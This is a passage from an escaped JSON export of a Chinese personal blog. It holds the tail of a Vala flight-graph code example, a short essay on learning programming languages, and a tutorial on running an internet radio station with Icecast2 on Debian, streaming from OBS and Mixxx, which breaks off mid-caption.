\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecolumn_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecolumn_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ehas_key\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eto\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"如何速通一个编程语言\"\u003e如何速通一个编程语言\u003c/h2\u003e\n\u003cp\u003e我当时是这么学的 C 语言:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e基本输入输出\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断语句\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e循环语句\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e函数\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e数组\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e结构体\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e指针\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e前三条是说明这个语言大致的语法如何,因为编程思维的逻辑无非就那些:从哪里开始,需要那些材料,需要经过那些步骤,那些步骤得不断进行,这个步骤执行的条件是什么,这个步骤的结束条件是什么,最后的成果是如何的?逻辑搞明白了,接下来就是靠语言实现了。\u003c/p\u003e\n\u003cp\u003e接下来第四条,我认为是说明这个语言的性质。C 语言是面向过程的语言,所以主要是函数。而要是面向对象的话,教完函数之后,就是教你如何写一个类,如何搞继承之类的了。\u003c/p\u003e\n\u003cp\u003e剩下那三个,说明这个语言的数据结构。数据结构,有链表,栈,队列,字符串,树,图之类,还有集合,键值对字典这些常用的。这些东西给你了实现的工具,不过大多数语言已经实现了,比如 Java 。\u003c/p\u003e\n\u003cp\u003e最后,速通了语言,不代表所有。你得找到相对应的库。要是库很缺乏,或者根本没学的话,很有可能你啥都干不了。我暑假两天速通了 Javascript,然后我由于没学任何 Javascript 的库,比如 vue / react 啥的,我都不知道要用这个来干嘛:-P\u003c/p\u003e\n\u003cp\u003e最后,如有不完备或错误之处,敬请谅解。我还是水平不够啊:-(\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/vala-introduction.html"},{"title":"如何在网上开自己的电台?","time":"2022-10-19T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Bart%20On%20Radio%203x13.jpg\" alt=\"Featured image of post 如何在网上开自己的电台?\" /\u003e\u003cp\u003e实际上这个文章我老早就想写了,不过我中间基本上忘了这档子事。\u003c/p\u003e\n\u003cp\u003e先说明一下,这个电台是纯音乐电台,没有画面。要搞画面的话,建议了解 \u003ccode\u003enginx-module-rtmp\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e开一个电台,需要两个部分:电台推流软件,电台服务器,以及收听软件。就像传统的电台一样,得有个录音室,发射塔,然后是收音机。啊哈,是不是回到了各位童年,听着中国之声呢(不是)。\u003c/p\u003e\n\u003ch2 id=\"电台服务器icecast\"\u003e电台服务器~Icecast\u003c/h2\u003e\n\u003cp\u003e实际上我接触过两个开电台的软件,一个是上面提到的 \u003ccode\u003enginx-module-rtmp\u003c/code\u003e。不过这玩意更像是视频服务器,我就不想说了。\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.icecast.org\" target=\"_blank\" rel=\"noopener\"\n \u003eIcecast\u003c/a\u003e 是一个音乐电台服务器,也就是说,它接受电台推流软件传来的数据,经过处理(包装),然后向收听软件推送数据。这里我就不说啥 \u003ccode\u003em3u8\u003c/code\u003e,\u003ccode\u003eogg\u003c/code\u003e是啥了,毕竟我也不知道,而且又不影响咱用,对不对啊:-)\u003c/p\u003e\n\u003cp\u003e既然 Icecast 是一个服务器软件,那么\u003cdel\u003e它就得运行在服务器上\u003c/del\u003e实际上是个电脑就能运行,不过最好还是个服务器吧,比如说你在网上买到的阿里云服务器之类。不过如果你只是想在你的家里搞个自嗨广播,那电脑直接运行也好。前提是你能处理好路由器端口映射和电脑的防火墙,那就不是我的事情了2333\u003c/p\u003e\n\u003cp\u003e以下我用 Linux 系统举例子,更特殊的说,是 Debian 11 。其他的发行版,应该能举一反三吧\u0026hellip;\u0026hellip;.\u003c/p\u003e\n\u003cp\u003e使用这个命令安装 icecast\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# apt install icecast2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安装完了,就得配置,看一下我这个配置文件片段吧,你的配置文件应该在 \u003ccode\u003e/etc/icecast2/icecast.xml\u003c/code\u003e 下面。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;icecast\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这俩选项主要是说明电台的地址(location)和管理员是谁,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 感觉就是为了展示用的 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;location\u0026gt;\u003c/span\u003eSUPERBART\u0026#39;S LAND\u003cspan class=\"nt\"\u003e\u0026lt;/location\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;admin\u0026gt;\u003c/span\u003eicemaster@localhost\u003cspan class=\"nt\"\u003e\u0026lt;/admin\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 尤其对于小白用户,以下内容十分重要:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 最好一开始*只*修改密码,然后重启 Icecast 。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 想要详细配置说明的话,请查阅文档。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 文档也在这里提供:http://icecast.org/docs/\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e (原来配置文件的一段)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 请各位不要直接使用这个配置文件,看明白了修改自己电脑里的配置文件。--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;limits\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这段都是设置服务器的限制的,比如最多几个人听,最多开几个频道之类。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 大多数选项我也不太懂,尽量别改吧。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;clients\u0026gt;\u003c/span\u003e200\u003cspan class=\"nt\"\u003e\u0026lt;/clients\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;sources\u0026gt;\u003c/span\u003e5\u003cspan class=\"nt\"\u003e\u0026lt;/sources\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;queue-size\u0026gt;\u003c/span\u003e25600000\u003cspan class=\"nt\"\u003e\u0026lt;/queue-size\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;client-timeout\u0026gt;\u003c/span\u003e30\u003cspan class=\"nt\"\u003e\u0026lt;/client-timeout\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;header-timeout\u0026gt;\u003c/span\u003e15\u003cspan class=\"nt\"\u003e\u0026lt;/header-timeout\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;source-timeout\u0026gt;\u003c/span\u003e10\u003cspan class=\"nt\"\u003e\u0026lt;/source-timeout\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;burst-on-connect\u0026gt;\u003c/span\u003e1\u003cspan class=\"nt\"\u003e\u0026lt;/burst-on-connect\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;/limits\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这里修改各种密码,是重点捏 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;authentication\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 推流密码,推流账户名 source --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;source-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/source-password\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 中继密码,中继账户名 source --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;relay-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/relay-password\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 网页管理页面界面的账户和密码 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;admin-user\u0026gt;\u003c/span\u003eadmin\u003cspan class=\"nt\"\u003e\u0026lt;/admin-user\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;admin-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/admin-password\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;/authentication\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 设置该软件监听哪个端口,一般无需改动 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;listen-socket\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;port\u0026gt;\u003c/span\u003e8000\u003cspan class=\"nt\"\u003e\u0026lt;/port\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;/listen-socket\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这里我省略了好多选项,不要直接使用这个配置文件! --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/icecast\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当你修改好自己的配置文件,使用这个命令启动 Icecast 软件。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo service icecast2 start\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo systemctl \u003cspan class=\"nb\"\u003eenable\u003c/span\u003e icecast2 \u003cspan class=\"c1\"\u003e# 如果你想让这玩意开机自启动的话\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e现在你打开你的服务器网站的 8000 端口的话,你应该能看到这个。我这里是开电台了,所以有东西,应该是啥都没有才对。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Icecast.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Icecast.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"电台推流软件三例\"\u003e电台推流软件三例\u003c/h2\u003e\n\u003cp\u003e在 Icecast 网站上,他们\u003ca class=\"link\" href=\"https://icecast.org/apps/\" target=\"_blank\" rel=\"noopener\"\n \u003e贴了一堆软件\u003c/a\u003e。我这里写三个我用过的。更多的话,可以看看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Icecast\" target=\"_blank\" rel=\"noopener\"\n \u003eArch Linux Wiki 的这篇文章\u003c/a\u003e。\u003c/p\u003e\n\u003ch3 id=\"obs-还能推流广播\"\u003eOBS 还能推流广播?\u003c/h3\u003e\n\u003cp\u003e你没看错,OBS 也能推流到 Icecast 服务器上,不过我觉得没有那么方便了。毕竟他只是个视频直播软件啊\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e首先说点闲话,Icecast 能处理视频流,就是你们直播到 Bilibili 的那个。详情请看\u003ca class=\"link\" href=\"https://epir.at/2018/03/08/obs-icecast-streaming/\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。不过这玩意不是官方支持,所以我不会过多描述,但是我以下的配置文件是根据这玩意改的。\u003c/p\u003e\n\u003cp\u003e打开 OBS 的设置界面,调到 输出 -\u0026gt; 录像 ,类型选择 \u0026ldquo;自定义输出 FFMpeg\u0026rdquo; 上面。然后咱这么修改:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eFFMpeg 输出类型改成\u0026quot;输出到 URL\u0026quot;,下面的 URL 改成 \u003ccode\u003eicecast://source:上面设置的推流密码@服务器ip或者域名:8000/stream\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e容器格式选择 opus(音频),下面的混流器设置填上 \u003ccode\u003econtent_type=application/ogg\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e下面的音频比特率填个合适的,比如 192kbps 之类,想起了下载 MP3 年代了吗?\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/OBS-REFRENCE.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/OBS-REFRENCE.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"OBS 设置一个例子\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eOBS 设置一个例子\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e然后点击 \u0026ldquo;开始录制\u0026rdquo;,vola,你现在开始广播了!当然,画面是传不过去了,不过调整一下声音配置,你的声音开始传播了。\u003c/p\u003e\n\u003ch3 id=\"mixxx-感觉更适合些\"\u003eMixxx 感觉更适合些\u003c/h3\u003e\n\u003cp\u003eMixxx 是一个 DJ 软件,他能混音各种各样的音乐,也能按照顺序播放音乐\u0026hellip;\u0026hellip;好吧,我对这个软件没有那么了解,只是知道这个东西可以用来广播:-P\u003c/p\u003e\n\u003cp\u003e首先,你最好有个歌库啥的,也就是说,你的电脑得有一堆歌曲文件。这玩意下载也没那么难吧,随便开个网易云,腾讯啥的,一堆可以下载。把他们放在一起,然后在软件设置里面规定好歌库位置。等待然后在音轨选项里面全选之,右键选择\u0026quot;放到自动DJ\u0026quot;。打开自动DJ界面,点击启用自动Dj按钮,好了,广播台现在能循环你的歌单了。歌单还能随机播放哦。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Main.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Main.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"Mixxx 界面概览\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eMixxx 